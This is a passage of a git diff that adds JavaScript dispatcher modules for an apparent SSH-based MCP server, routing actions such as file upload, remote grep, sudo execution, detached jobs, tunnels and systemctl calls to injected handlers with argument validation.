defensively; the five forward straight through. + * + * handlers (injected): { docker }. + */ + +import { fail, toMcp } from '../structured-result.js'; +import { makeCtx } from './ctx-factory.js'; +import { requireArgs } from './action-validate.js'; + +const REQUIRED = { + ps: ['server'], + logs: ['server', 'container'], + exec: ['server', 'container', 'command'], + restart: ['server', 'container'], + inspect: ['server', 'container'], +}; + +export async function handleSshDockerTool({ deps, handlers, args } = {}) { + const a = args || {}; + const { action } = a; + + if (!action) { + return toMcp(fail('ssh_docker', 'action is required', { server: a.server ?? null })); + } + if (action === 'compose') { + return toMcp(fail('ssh_docker', + 'action "compose" is not supported -- use ssh_run to invoke docker compose directly', + { server: a.server ?? null })); + } + if (!Object.prototype.hasOwnProperty.call(REQUIRED, action)) { + return toMcp(fail('ssh_docker', `unknown action "${action}"`, { server: a.server ?? null })); + } + + const bad = requireArgs('ssh_docker', action, a, REQUIRED); + if (bad) return bad; + + return handlers.docker(makeCtx('conn', deps, { + server: a.server, + action, + container: a.container, + image: a.image, + command: a.command, + tail_lines: a.tail_lines, + preview: a.preview, + format: a.format, + })); +} diff --git a/src/dispatchers/ssh-file.js b/src/dispatchers/ssh-file.js new file mode 100644 index 0000000..2679fbd --- /dev/null +++ b/src/dispatchers/ssh-file.js @@ -0,0 +1,138 @@ +/** + * ssh_file -- v4 fat verb-tool dispatcher. + * + * Collapses ssh_upload / ssh_download / ssh_sync / ssh_cat / ssh_edit / + * ssh_diff / ssh_deploy / ssh_deploy_artifact. Routes `action` to an existing + * handler, mapping v4 snake_case args to each handler's arg names. + * + * read -> handleSshCat (remote_path -> file). + * write -> handleSshEdit whole-file replace (content -> new_content). + * edit -> handleSshEdit find/replace patch (old_text/new_text -> patch[]). + * + * handlers (injected): { upload, download, sync, cat, edit, diff, deploy }. + */ + +import { fail, toMcp } from '../structured-result.js'; +import { makeCtx } from './ctx-factory.js'; +import { requireArgs } from './action-validate.js'; + +const REQUIRED = { + upload: ['server', 'local_path', 'remote_path'], + download: ['server', 'local_path', 'remote_path'], + sync: ['server', 'source', 'destination'], + read: ['server', 'remote_path'], + write: ['server', 'remote_path', 'content'], + edit: ['server', 'remote_path'], + diff: ['server', 'path_a', 'path_b'], + deploy: ['server', 'artifact_local_path', 'target_path'], + 'deploy-artifact': ['server', 'artifact_local_path', 'target_path'], +}; + +export async function handleSshFile({ deps, handlers, args } = {}) { + const a = args || {}; + const { action } = a; + + if (!action) { + return toMcp(fail('ssh_file', 'action is required', { server: a.server ?? null })); + } + if (!Object.prototype.hasOwnProperty.call(REQUIRED, action)) { + return toMcp(fail('ssh_file', `unknown action "${action}"`, { server: a.server ?? null })); + } + + const bad = requireArgs('ssh_file', action, a, REQUIRED); + if (bad) return bad; + + switch (action) { + case 'upload': + return handlers.upload(makeCtx('conn', deps, { + server: a.server, + local_path: a.local_path, + remote_path: a.remote_path, + verify: a.verify, + preview: a.preview, + format: a.format, + })); + + case 'download': + return handlers.download(makeCtx('conn', deps, { + server: a.server, + local_path: a.local_path, + remote_path: a.remote_path, + verify: a.verify, + preview: a.preview, + format: a.format, + })); + + case 'sync': + return handlers.sync(makeCtx('conn-cfg', deps, { + server: a.server, + source: a.source, + destination: a.destination, + exclude: a.exclude, + delete: a.delete_extra, + dry_run: a.dry_run, + compress: a.compress, + preview: a.preview, + format: a.format, + })); + + case 'read': + return handlers.cat(makeCtx('conn', deps, { + server: a.server, + file: a.remote_path, + head: a.head, + tail: a.tail, + grep: a.grep, + line_start: a.line_start, + line_end: a.line_end, + format: a.format, + })); + + case 'write': + return handlers.edit(makeCtx('conn', deps, { + server: a.server, + path: a.remote_path, + new_content: a.content, + preview: a.preview, + format: a.format, + })); + + case 'edit': + // old_text is literal user text → literal:true so regex metachars (. ( [ * ?) + // match verbatim, never silently patch the wrong span. + return handlers.edit(makeCtx('conn', deps, { + server: a.server, + path: a.remote_path, + patch: a.old_text != null + ? [{ find: a.old_text, replace: a.new_text ?? '', literal: true }] + : undefined, + preview: a.preview, + format: a.format, + })); + + case 'diff': + return handlers.diff(makeCtx('conn', deps, { + server: a.server, + path_a: a.path_a, + path_b: a.path_b, + server_b: a.server_b, + preview: a.preview, + format: a.format, + })); + + // deploy + deploy-artifact share handleSshDeploy; action already validated + case 'deploy': + case 'deploy-artifact': + return handlers.deploy(makeCtx('deploy', deps, { + server: a.server, + artifact_local_path: a.artifact_local_path, + target_path: a.target_path, + post_hooks: a.post_hooks, + health_check: a.health_check, + rollback_on_fail: a.rollback_on_fail, + rollback_hook: a.rollback_hook, + preview: a.preview, + format: a.format, + })); + } +} diff --git a/src/dispatchers/ssh-find.js b/src/dispatchers/ssh-find.js new file mode 100644 index 0000000..57a75f2 --- /dev/null +++ b/src/dispatchers/ssh-find.js @@ -0,0 +1,142 @@ +/** + * ssh_find -- v4 fat verb-tool dispatcher. + * + * Remote search: grep (recursive content), locate (find -name), ls (one dir). + * No src/tools/*.js handler exists -- the dispatcher owns build -> exec -> + * parse -> render itself, like handleSshExecute. Commands come from the pure + * builders in remote-search.js; each is already server-side bounded (timeout, + * pruned pseudo-fs, match cap), so streamExecCommand runs raw:true with only + * an in-process timeoutMs guarding a stuck channel. + * + * deps (injected): { getConnection }. + */ + +import { streamExecCommand } from '../stream-exec.js'; +import { ok, fail, toMcp } from '../structured-result.js'; +import { renderHeader, renderRows, indentBody } from '../output-formatter.js'; +import { requireArgs } from './action-validate.js'; +import { + buildGrepCommand, buildLocateCommand, buildLsCommand, + parseGrepHits, parseLocateHits, parseLsRows, +} from '../remote-search.js'; + +// in-process channel guard; Plan-5 commands carry their own server-side timeout +const EXEC_TIMEOUT_MS = 60_000; + +const REQUIRED = { + grep: ['server', 'pattern', 'path'], + locate: ['server', 'name', 'path'], + ls: ['server', 'path'], +}; + +/** grep hits -> file/line/text table. */ +function renderGrep(result) { + const header = renderHeader({ + marker: result.success ? '[ok]' : '[err]', + tool: 'ssh_find', action: 'grep', server: result.server, + status: result.success ? `${result.data.count} hits` : 'failed', + durationMs: result.meta && result.meta.duration_ms, + }); + if (!result.success) return `${header}\n${indentBody(String(result.error))}`; + const rows = result.data.hits.map((h) => [h.file, h.line, h.text]); + return `${header}\n${indentBody(renderRows(['file', 'line', 'text'], rows))}`; +} + +/** locate paths -> single-column path table. */ +function renderLocate(result) { + const header = renderHeader({ + marker: result.success ? '[ok]' : '[err]', + tool: 'ssh_find', action: 'locate', server: result.server, + status: result.success ? `${result.data.count} paths` : 'failed', + durationMs: result.meta && result.meta.duration_ms, + }); + if (!result.success) return `${header}\n${indentBody(String(result.error))}`; + const rows = result.data.paths.map((p) => [p]); + return `${header}\n${indentBody(renderRows(['path'], rows))}`; +} + +/** ls rows -> perms/size/type/name table. */ +function renderLs(result) { + const header = renderHeader({ + marker: result.success ? '[ok]' : '[err]', + tool: 'ssh_find', action: 'ls', server: result.server, + status: result.success ? `${result.data.count} entries` : 'failed', + durationMs: result.meta && result.meta.duration_ms, + }); + if (!result.success) return `${header}\n${indentBody(String(result.error))}`; + const rows = result.data.entries.map((e) => [e.perms, e.size, e.type, e.name]); + return `${header}\n${indentBody(renderRows(['perms', 'size', 'type', 'name'], rows))}`; +} + +export async function handleSshFind({ deps, args } = {}) { + const a = args || {}; + const { action } = a; + + if (!action) { + return toMcp(fail('ssh_find', 'action is required', { server: a.server ?? null })); + } + if (!Object.prototype.hasOwnProperty.call(REQUIRED, action)) { + return toMcp(fail('ssh_find', `unknown action "${action}"`, { server: a.server ?? null })); + } + + const bad = requireArgs('ssh_find', action, a, REQUIRED); + if (bad) return bad; + + // builders throw on a bad path (bare "/", empty) -- surface as a clean fail + let command; + try { + if (action === 'grep') { + command = buildGrepCommand({ + pattern: a.pattern, path: a.path, matchCap: a.match_cap, + timeoutSecs: a.timeout_secs, contextLines: a.context_lines, + crossMounts: a.cross_mounts, allowRoot: a.allow_root, + }); + } else if (action === 'locate') { + command = buildLocateCommand({ + name: a.name, path: a.path, matchCap: a.match_cap, + timeoutSecs: a.timeout_secs, crossMounts: a.cross_mounts, + allowRoot: a.allow_root, + }); + } else { + command = buildLsCommand({ path: a.path, timeoutSecs: a.timeout_secs }); + } + } catch (e) { + return toMcp(fail('ssh_find', e, { server: a.server })); + } + + const startedAt = Date.now(); + let client; + try { + client = await deps.getConnection(a.server); + } catch (e) { + return toMcp(fail('ssh_find', e, { server: a.server })); + } + + let raw; + try { + // raw:true -- builder already wrapped the command in `timeout` + const r = await streamExecCommand(client, command, { + raw: true, timeoutMs: EXEC_TIMEOUT_MS, abortSignal: a.abortSignal, + }); + raw = r.stdout; + } catch (e) { + return toMcp(fail('ssh_find', e, { server: a.server, action })); + } + + const meta = { server: a.server, duration_ms: Date.now() - startedAt }; + const fmt = a.format; + + if (action === 'grep') { + const hits = parseGrepHits(raw); + return toMcp(ok('ssh_find', { action, count: hits.length, hits }, meta), + { format: fmt, renderer: renderGrep }); + } + if (action === 'locate') { + const paths = parseLocateHits(raw); + return toMcp(ok('ssh_find', { action, count: paths.length, paths }, meta), + { format: fmt, renderer: renderLocate }); + } + const entries = parseLsRows(raw); + return toMcp(ok('ssh_find', { action, count: entries.length, entries }, meta), + { format: fmt, renderer: renderLs }); +} diff --git a/src/dispatchers/ssh-fleet.js b/src/dispatchers/ssh-fleet.js new file mode 100644 index 0000000..ad65ab2 --- /dev/null +++ b/src/dispatchers/ssh-fleet.js @@ -0,0 +1,71 @@ +/** + * ssh_fleet -- v4 fat verb-tool dispatcher. + * + * Collapses ssh_list_servers / ssh_group_manage / ssh_alias / + * ssh_command_alias / ssh_profile / ssh_hooks / ssh_key_manage / + * ssh_connection_status / ssh_history -- genuine fleet/config metadata only. + * + * Most of these tools' bodies live inline in index.js, not src/tools/*.js, so + * they cannot be re-faceted. The handlers object is supplied at registration + * time (Part 3) as adapter functions. `keys` is the lone modular handler + * (handleSshKeyManage, cfg ctx kind); v4 `op` maps to its `action` arg. + * + * handlers (injected): { servers, groups, aliases, command_alias, profiles, + * hooks, keys, history, connections }. Each is async + * ({ args } or a full ctx object) -> MCP response. + */ + +import { fail, toMcp } from '../structured-result.js'; +import { makeCtx } from './ctx-factory.js'; + +const ACTIONS = new Set([ + 'servers', 'groups', 'aliases', 'command_alias', 'profiles', + 'hooks', 'keys', 'history', 'connections', +]); + +export async function handleSshFleet({ deps, handlers, args } = {}) { + const a = args || {}; + const { action } = a; + + if (!action) { + return toMcp(fail('ssh_fleet', 'action is required', { server: a.server ?? null })); + } + if (!ACTIONS.has(action)) { + return toMcp(fail('ssh_fleet', `unknown action "${action}"`, { server: a.server ?? null })); + } + + // No requireArgs here: per-action required-arg validation is delegated to + // each inline fleet adapter (and to handleSshKeyManage for keys). Omission + // is intentional -- fleet sub-args are op-shaped, not a flat required map. + + if (action === 'keys') { + // handleSshKeyManage destructures `ctx` with getServerConfig + args; + // it reads `preview`, not autoAccept. + return handlers.keys(makeCtx('cfg', deps, { + action: a.op, + server: a.server, + host: a.host, + port: a.port, + preview: a.preview, + format: a.format, + })); + } + + // servers / groups / aliases / command_alias / profiles / hooks / history / + // connections: adapter functions take a plain { args } object. + return handlers[action]({ + args: { + op: a.op, + name: a.name, + members: a.members, + description: a.description, + alias: a.alias, + command: a.command, + target: a.target, + server: a.server, + limit: a.limit, + search: a.search, + format: a.format, + }, + }); +} diff --git a/src/dispatchers/ssh-health.js b/src/dispatchers/ssh-health.js new file mode 100644 index 0000000..7ccf309 --- /dev/null +++ b/src/dispatchers/ssh-health.js @@ -0,0 +1,75 @@ +/** + * ssh_health -- v4 fat verb-tool dispatcher. + * + * Collapses ssh_health_check / ssh_monitor / ssh_process_manager / + * ssh_alert_setup. + * check -> handleSshHealthCheck + * watch -> handleSshMonitor (watch_type -> type) + * procs -> handleSshProcessManager (proc_action -> action, default 'list') + * alerts -> handleSshAlertSetup (alert_action -> action) + * + * v4 sub-action args are renamed so the single `action` slot stays the + * verb-tool selector and the inner tool's own action enum is a distinct arg. + * + * handlers (injected): { healthCheck, monitor, processManager, alertSetup }. + */ + +import { fail, toMcp } from '../structured-result.js'; +import { makeCtx } from './ctx-factory.js'; +import { requireArgs } from './action-validate.js'; + +const REQUIRED = { + check: ['server'], + watch: ['server'], + procs: ['server'], + alerts: ['server', 'alert_action'], +}; + +export async function handleSshHealth({ deps, handlers, args } = {}) { + const a = args || {}; + const { action } = a; + + if (!action) { + return toMcp(fail('ssh_health', 'action is required', { server: a.server ?? null })); + } + if (!Object.prototype.hasOwnProperty.call(REQUIRED, action)) { + return toMcp(fail('ssh_health', `unknown action "${action}"`, { server: a.server ?? null })); + } + + const bad = requireArgs('ssh_health', action, a, REQUIRED); + if (bad) return bad; + + switch (action) { + case 'check': + return handlers.healthCheck(makeCtx('conn', deps, { + server: a.server, format: a.format, + })); + + case 'watch': + return handlers.monitor(makeCtx('conn', deps, { + server: a.server, type: a.watch_type, format: a.format, + })); + + case 'procs': + return handlers.processManager(makeCtx('conn', deps, { + server: a.server, + action: a.proc_action || 'list', + pid: a.pid, + signal: a.signal, + preview: a.preview, + format: a.format, + })); + + case 'alerts': + default: + return handlers.alertSetup(makeCtx('conn', deps, { + server: a.server, + action: a.alert_action, + cpuThreshold: a.cpu_threshold, + memoryThreshold: a.memory_threshold, + diskThreshold: a.disk_threshold, + enabled: a.enabled, + format: a.format, + })); + } +} diff --git a/src/dispatchers/ssh-logs.js b/src/dispatchers/ssh-logs.js new file mode 100644 index 0000000..cdac8a4 --- /dev/null +++ b/src/dispatchers/ssh-logs.js @@ -0,0 +1,64 @@ +/** + * ssh_logs -- v4 fat verb-tool dispatcher. + * + * Collapses ssh_tail / ssh_tail_start / ssh_tail_read / ssh_tail_stop / + * ssh_journalctl. Routes `action` to an existing handler. + * + * handlers (injected): { tail, tailStart, tailRead, tailStop, journal }. + */ + +import { fail, toMcp } from '../structured-result.js'; +import { makeCtx } from './ctx-factory.js'; +import { requireArgs } from './action-validate.js'; + +const REQUIRED = { + tail: ['server', 'file'], + 'follow-start': ['server', 'file'], + 'follow-read': ['session_id'], + 'follow-stop': ['session_id'], + journal: ['server'], +}; + +export async function handleSshLogs({ deps, handlers, args } = {}) { + const a = args || {}; + const { action } = a; + + if (!action) { + return toMcp(fail('ssh_logs', 'action is required', { server: a.server ?? null })); + } + if (!Object.prototype.hasOwnProperty.call(REQUIRED, action)) { + return toMcp(fail('ssh_logs', `unknown action "${action}"`, { server: a.server ?? null })); + } + + const bad = requireArgs('ssh_logs', action, a, REQUIRED); + if (bad) return bad; + + switch (action) { + case 'tail': + return handlers.tail(makeCtx('conn', deps, { + server: a.server, file: a.file, lines: a.lines, grep: a.grep, format: a.format, + })); + + case 'follow-start': + return handlers.tailStart(makeCtx('conn', deps, { + server: a.server, file: a.file, lines: a.lines, grep: a.grep, format: a.format, + })); + + case 'follow-read': + return handlers.tailRead(makeCtx('args', deps, { + session_id: a.session_id, since_offset: a.since_offset, format: a.format, + })); + + case 'follow-stop': + return handlers.tailStop(makeCtx('args', deps, { + session_id: a.session_id, format: a.format, + })); + + case 'journal': + default: + return handlers.journal(makeCtx('conn', deps, { + server: a.server, unit: a.unit, since: a.since, until: a.until, + priority: a.priority, lines: a.lines, grep: a.grep, format: a.format, + })); + } +} diff --git a/src/dispatchers/ssh-net.js b/src/dispatchers/ssh-net.js new file mode 100644 index 0000000..88a4a14 --- /dev/null +++ b/src/dispatchers/ssh-net.js @@ -0,0 +1,71 @@ +/** + * ssh_net -- v4 fat verb-tool dispatcher. + * + * Collapses ssh_tunnel_create / _list / _close and ssh_port_test. + * tunnel-open + port-test use conn ctx; tunnel-list + tunnel-close use args. + * v4 `tunnel_type` maps to the tunnel handler's `type` arg. + * + * handlers (injected): { tunnelCreate, tunnelList, tunnelClose, portTest }. + */ + +import { fail, toMcp } from '../structured-result.js'; +import { makeCtx } from './ctx-factory.js'; +import { requireArgs } from './action-validate.js'; + +const REQUIRED = { + 'tunnel-open': ['server', 'tunnel_type'], + 'tunnel-list': [], + 'tunnel-close': ['tunnel_id'], + 'port-test': ['target_host'], +}; + +export async function handleSshNet({ deps, handlers, args } = {}) { + const a = args || {}; + const { action } = a; + + if (!action) { + return toMcp(fail('ssh_net', 'action is required', { server: a.server ?? null })); + } + if (!Object.prototype.hasOwnProperty.call(REQUIRED, action)) { + return toMcp(fail('ssh_net', `unknown action "${action}"`, { server: a.server ?? null })); + } + + const bad = requireArgs('ssh_net', action, a, REQUIRED); + if (bad) return bad; + + switch (action) { + case 'tunnel-open': + return handlers.tunnelCreate(makeCtx('conn', deps, { + server: a.server, + type: a.tunnel_type, + bind: a.bind, // handler destructures `bind`, not local_host + local_port: a.local_port, + remote_host: a.remote_host, + remote_port: a.remote_port, + preview: a.preview, + format: a.format, + })); + + case 'tunnel-list': + return handlers.tunnelList(makeCtx('args', deps, { + server: a.server, format: a.format, + })); + + case 'tunnel-close': + return handlers.tunnelClose(makeCtx('args', deps, { + tunnel_id: a.tunnel_id, format: a.format, + })); + + case 'port-test': + default: + return handlers.portTest(makeCtx('conn', deps, { + server: a.server, + target_host: a.target_host, + target_port: a.target_port, + probe_chain: a.probe_chain, + timeout_ms_per_probe: a.timeout_ms_per_probe, + continue_on_fail: a.continue_on_fail, + format: a.format, + })); + } +} diff --git a/src/dispatchers/ssh-plan.js b/src/dispatchers/ssh-plan.js new file mode 100644 index 0000000..f62b789 --- /dev/null +++ b/src/dispatchers/ssh-plan.js @@ -0,0 +1,89 @@ +/** + * ssh_plan -- v4 verb-tool dispatcher. + * + * ssh_plan stays its own tool (a meta-orchestrator). Two v4 actions: + * run -> handleSshPlan, mode 'run' + * approve -> handleSshPlan, mode 'run', with approve_token forwarded + * + * buildPlanDispatch produces the `dispatch` map handleSshPlan threads to + * invokeStep. invokeStep reads dispatch[step.action] where step.action is the + * PLAN-STEP action enum (exec, exec_sudo, upload, ...). The pre-v4 index.js + * keyed this table by tool names, which never matched -- v4 keys it by the + * step enum so steps actually dispatch. + * + * Each dispatch entry is a closure taking { args } (invokeStep's call shape) + * and wrapping a src/tools/*.js handler with the right context object. + * + * handlers (injected): subset of { execute, executeSudo, upload, download, + * edit, systemctl, backupCreate, healthCheck }. + */ + +import { fail, toMcp } from '../structured-result.js'; + +/** + * Build the plan-step-keyed dispatch table. Keys are the action strings + * plan-tools.js reads from each step; values take { args } and return an + * MCP response. + */ +export function buildPlanDispatch(deps, handlers) { + const h = handlers || {}; + const d = {}; + if (h.execute) { + d.exec = ({ args }) => h.execute({ getConnection: deps.getConnection, args }); + } + if (h.executeSudo) { + d.exec_sudo = ({ args }) => h.executeSudo({ + getConnection: deps.getConnection, getServerConfig: deps.getServerConfig, args, + }); + } + if (h.upload) { + d.upload = ({ args }) => h.upload({ getConnection: deps.getConnection, args }); + } + if (h.download) { + d.download = ({ args }) => h.download({ getConnection: deps.getConnection, args }); + } + if (h.edit) { + d.edit = ({ args }) => h.edit({ getConnection: deps.getConnection, args }); + } + if (h.systemctl) { + d.systemctl = ({ args }) => h.systemctl({ getConnection: deps.getConnection, args }); + } + if (h.backupCreate) { + d.backup = ({ args }) => h.backupCreate({ getConnection: deps.getConnection, args }); + } + if (h.healthCheck) { + d.health_check = ({ args }) => h.healthCheck({ getConnection: deps.getConnection, args }); + } + return d; +} + +export async function handleSshPlanTool({ deps, handlers, planFn, args } = {}) { + const a = args || {}; + const { action } = a; + + if (!action) { + return toMcp(fail('ssh_plan', 'action is required', { server: null })); + } + if (action !== 'run' && action !== 'approve') { + return toMcp(fail('ssh_plan', `unknown action "${action}"`, { server: null })); + } + if (a.steps === undefined || a.steps === null) { + return toMcp(fail('ssh_plan', 'action requires: steps', { server: null })); + } + if (action === 'approve' && !a.approve_token) { + return toMcp(fail('ssh_plan', 'action "approve" requires: approve_token', { server: null })); + } + + const dispatch = buildPlanDispatch(deps, handlers); + return planFn({ + dispatch, + args: { + plan: a.steps, + mode: 'run', + server: a.server, + approve_token: a.approve_token, + rollback_on_fail: a.rollback_on_fail, + format: a.format, + }, + }); +} diff --git a/src/dispatchers/ssh-run.js b/src/dispatchers/ssh-run.js new file mode 100644 index 0000000..e3c57fb --- /dev/null +++ b/src/dispatchers/ssh-run.js @@ -0,0 +1,283 @@ +/** + * ssh_run -- v4 fat verb-tool dispatcher. + * + * Collapses ssh_execute / ssh_execute_sudo / ssh_execute_group. Routes the + * `action` arg to an existing handler in src/tools/exec-tools.js, building the + * right context object via makeCtx and mapping v4 snake_case args to the + * handler arg names. + * + * actions handled here: exec, sudo, fleet, script, detach, job-status, + * job-kill. exec/sudo/fleet delegate to src/tools/exec-tools.js handlers; + * script/detach/job-* have no handler -- the dispatcher execs them directly + * via streamExecCommand with raw:true (no OS timeout-wrapper), unlike + * handleSshExecute's non-raw wrapped path. + * + * handlers (injected): { execute, executeSudo, executeGroup }. + */ + +import { ok, fail, toMcp } from '../structured-result.js'; +import { streamExecCommand } from '../stream-exec.js'; +import { renderHeader, renderRows, renderKV, indentBody } from '../output-formatter.js'; +import { makeCtx } from './ctx-factory.js'; +import { requireArgs } from './action-validate.js'; +import { expandCommandAlias } from '../command-aliases.js'; +import { buildScriptCommand, parseScriptSegments } from '../script-runner.js'; +import { + buildDetachCommand, buildJobStatusCommand, parseJobStatus, buildJobKillCommand, +} from '../job-tracker.js'; + +// in-process channel guard for the exec-direct actions +const RUN_EXEC_TIMEOUT_MS = 120_000; + +const REQUIRED = { + exec: ['server', 'command'], + sudo: ['server', 'command'], + fleet: ['group', 'command'], + script: ['server', 'commands'], + detach: ['server', 'command'], + 'job-status': ['server', 'job_id'], + 'job-kill': ['server', 'job_id'], +}; + +/** script segments -> idx/exit/command/stdout table. */ +function renderScript(result) { + const header = renderHeader({ + marker: result.success ? '[ok]' : '[err]', + tool: 'ssh_run', action: 'script', server: result.server, + status: result.success ? `${result.data.segments.length} segments` : 'failed', + durationMs: result.meta && result.meta.duration_ms, + }); + if (!result.success) return `${header}\n${indentBody(String(result.error))}`; + const rows = result.data.segments.map((s) => [ + s.index, + s.exitCode == null ? '?' : s.exitCode, + s.command == null ? '' : s.command, + String(s.stdout || '').replace(/\r?\n/g, ' ').slice(0, 120), + ]); + return `${header}\n${indentBody(renderRows(['#', 'exit', 'command', 'stdout'], rows))}`; +} + +/** detach result -> job id / log path KV block. */ +function renderDetach(result) { + const header = renderHeader({ + marker: result.success ? '[ok]' : '[err]', + tool: 'ssh_run', action: 'detach', server: result.server, + status: result.success ? 'launched' : 'failed', + durationMs: result.meta && result.meta.duration_ms, + }); + if (!result.success) return `${header}\n${indentBody(String(result.error))}`; + return `${header}\n${indentBody(renderKV([ + ['job_id', result.data.job_id], + ['log_path', result.data.log_path], + ]))}`; +} + +/** job-status result -> state / exit / log KV block. */ +function renderJobStatus(result) { + const header = renderHeader({ + marker: result.success ? '[ok]' : '[err]', + tool: 'ssh_run', action: 'job-status', server: result.server, + status: result.success ? result.data.state : 'failed', + durationMs: result.meta && result.meta.duration_ms, + }); + if (!result.success) return `${header}\n${indentBody(String(result.error))}`; + const d = result.data; + const kv = renderKV([ + ['state', d.state], + ['exit_code', d.exit_code == null ? '' : d.exit_code], + ['pid', d.pid == null ? '' : d.pid], + ['log_size', d.log_size], + ]); + const body = d.log_chunk ? `${kv}\n--\n${d.log_chunk}` : kv; + return `${header}\n${indentBody(body)}`; +} + +/** job-kill result -> the raw confirmation line. */ +function renderJobKill(result) { + const header = renderHeader({ + marker: result.success ? '[ok]' : '[err]', + tool: 'ssh_run', action: 'job-kill', server: result.server, + status: result.success ? 'signalled' : 'failed', + durationMs: result.meta && result.meta.duration_ms, + }); + if (!result.success) return `${header}\n${indentBody(String(result.error))}`; + return `${header}\n${indentBody(String(result.data.result || ''))}`; +} + +export async function handleSshRun({ deps, handlers, args } = {}) { + const a = args || {}; + const { action } = a; + + if (!action) { + return toMcp(fail('ssh_run', 'action is required', { server: a.server ?? null })); + } + if (!Object.prototype.hasOwnProperty.call(REQUIRED, action)) { + return toMcp(fail('ssh_run', `unknown action "${action}"`, { server: a.server ?? null })); + } + + const bad = requireArgs('ssh_run', action, a, REQUIRED); + if (bad) return bad; + + // exec + sudo both resolve server default_dir when no cwd given + const cfg = (deps && deps.getServerConfig && deps.getServerConfig(a.server)) || {}; + + // exec + sudo expand command aliases at exec time -- parity w/ old ssh_execute. + // deps.expandCommandAlias override = test seam; else module impl. + const expand = (deps && deps.expandCommandAlias) || expandCommandAlias; + + if (action === 'exec') { + return handlers.execute(makeCtx('conn', deps, { + server: a.server, + command: expand(a.command), + cwd: a.cwd || cfg.default_dir, + timeout: a.timeout, + raw: a.raw, + format: a.format, + })); + } + + if (action === 'sudo') { + return handlers.executeSudo(makeCtx('conn-cfg', deps, { + server: a.server, + command: expand(a.command), + password: a.sudo_password, + cwd: a.cwd || cfg.default_dir, + timeout: a.timeout, + raw: a.raw, + format: a.format, + })); + } + + if (action === 'fleet') { + return handlers.executeGroup(makeCtx('conn-group', deps, { + group: a.group, + command: a.command, + cwd: a.cwd, + raw: a.raw, + format: a.format, + })); + } + + if (action === 'script') { + if (!Array.isArray(a.commands) || a.commands.length === 0) { + return toMcp(fail('ssh_run', 'script: commands must be a non-empty array', + { server: a.server })); + } + let built; + try { + built = buildScriptCommand(a.commands, { isolate: a.isolate }); + } catch (e) { + return toMcp(fail('ssh_run', e, { server: a.server })); + } + const startedAt = Date.now(); + let client; + try { client = await deps.getConnection(a.server); } + catch (e) { return toMcp(fail('ssh_run', e, { server: a.server })); } + + let raw; + try { + const r = await streamExecCommand(client, built.command, { + raw: true, timeoutMs: RUN_EXEC_TIMEOUT_MS, abortSignal: a.abortSignal, + }); + raw = r.stdout; + } catch (e) { + return toMcp(fail('ssh_run', e, { server: a.server, action })); + } + // thread the builder's nonce -> only this invocation's sentinels parse + const segments = parseScriptSegments(raw, built.nonce, a.commands); + return toMcp( + ok('ssh_run', { action, segments }, { server: a.server, duration_ms: Date.now() - startedAt }), + { format: a.format, renderer: renderScript }, + ); + } + + if (action === 'detach') { + let built; + try { + built = buildDetachCommand(a.command, a.job_id ? { jobId: a.job_id } : {}); + } catch (e) { + return toMcp(fail('ssh_run', e, { server: a.server })); + } + const startedAt = Date.now(); + let client; + try { client = await deps.getConnection(a.server); } + catch (e) { return toMcp(fail('ssh_run', e, { server: a.server })); } + + try { + await streamExecCommand(client, built.command, { + raw: true, timeoutMs: RUN_EXEC_TIMEOUT_MS, abortSignal: a.abortSignal, + }); + } catch (e) { + return toMcp(fail('ssh_run', e, { server: a.server, action })); + } + return toMcp( + ok('ssh_run', + { action, job_id: built.jobId, log_path: built.logPath }, + { server: a.server, duration_ms: Date.now() - startedAt }), + { format: a.format, renderer: renderDetach }, + ); + } + + if (action === 'job-status') { + let command; + try { + command = buildJobStatusCommand(a.job_id, { offset: a.since_offset }); + } catch (e) { + return toMcp(fail('ssh_run', e, { server: a.server })); + } + const startedAt = Date.now(); + let client; + try { client = await deps.getConnection(a.server); } + catch (e) { return toMcp(fail('ssh_run', e, { server: a.server })); } + + let raw; + try { + const r = await streamExecCommand(client, command, { + raw: true, timeoutMs: RUN_EXEC_TIMEOUT_MS, abortSignal: a.abortSignal, + }); + raw = r.stdout; + } catch (e) { + return toMcp(fail('ssh_run', e, { server: a.server, action })); + } + const st = parseJobStatus(raw); + return toMcp( + ok('ssh_run', { + action, + state: st.state, + exit_code: st.exitCode, + pid: st.pid, + log_size: st.logSize, + log_chunk: st.logChunk, + }, { server: a.server, duration_ms: Date.now() - startedAt }), + { format: a.format, renderer: renderJobStatus }, + ); + } + + if (action === 'job-kill') { + let command; + try { + command = buildJobKillCommand(a.job_id); + } catch (e) { + return toMcp(fail('ssh_run', e, { server: a.server })); + } + const startedAt = Date.now(); + let client; + try { client = await deps.getConnection(a.server); } + catch (e) { return toMcp(fail('ssh_run', e, { server: a.server })); } + + let raw; + try { + const r = await streamExecCommand(client, command, { + raw: true, timeoutMs: RUN_EXEC_TIMEOUT_MS, abortSignal: a.abortSignal, + }); + raw = r.stdout; + } catch (e) { + return toMcp(fail('ssh_run', e, { server: a.server, action })); + } + return toMcp( + ok('ssh_run', { action, result: String(raw || '').trim() }, + { server: a.server, duration_ms: Date.now() - startedAt }), + { format: a.format, renderer: renderJobKill }, + ); + } +} diff --git a/src/dispatchers/ssh-service.js b/src/dispatchers/ssh-service.js new file mode 100644 index 0000000..79f6d7d --- /dev/null +++ b/src/dispatchers/ssh-service.js @@ -0,0 +1,53 @@ +/** + * ssh_service -- v4 fat verb-tool dispatcher. + * + * Collapses ssh_service_status / ssh_systemctl. + * status -> handleSshServiceStatus (typed snapshot). + * start/stop/restart/enable/disable -> handleSshSystemctl (its action enum + * already has these verbs); v4 `service` arg maps to systemctl's `unit`. + * + * handlers (injected): { serviceStatus, systemctl }. + */ + +import { fail, toMcp } from '../structured-result.js'; +import { makeCtx } from './ctx-factory.js'; +import { requireArgs } from './action-validate.js'; + +const REQUIRED = { + status: ['server', 'service'], + start: ['server', 'service'], + stop: ['server', 'service'], + restart: ['server', 'service'], + enable: ['server', 'service'], + disable: ['server', 'service'], +}; + +export async function handleSshService({ deps, handlers, args } = {}) { + const a = args || {}; + const { action } = a; + + if (!action) { + return toMcp(fail('ssh_service', 'action is required', { server: a.server ?? null })); + } + if (!Object.prototype.hasOwnProperty.call(REQUIRED, action)) { + return toMcp(fail('ssh_service', `unknown action "${action}"`, { server: a.server ?? null })); + } + + const bad = requireArgs('ssh_service', action, a, REQUIRED); + if (bad) return bad; + + if (action === 'status') { + return handlers.serviceStatus(makeCtx('conn', deps, { + server: a.server, service: a.service, format: a.format, + })); + } + + // start / stop / restart / enable / disable -> systemctl + return handlers.systemctl(makeCtx('conn', deps, { + server: a.server, + action, + unit: a.service, + preview: a.preview, + format: a.format, + })); +} diff --git 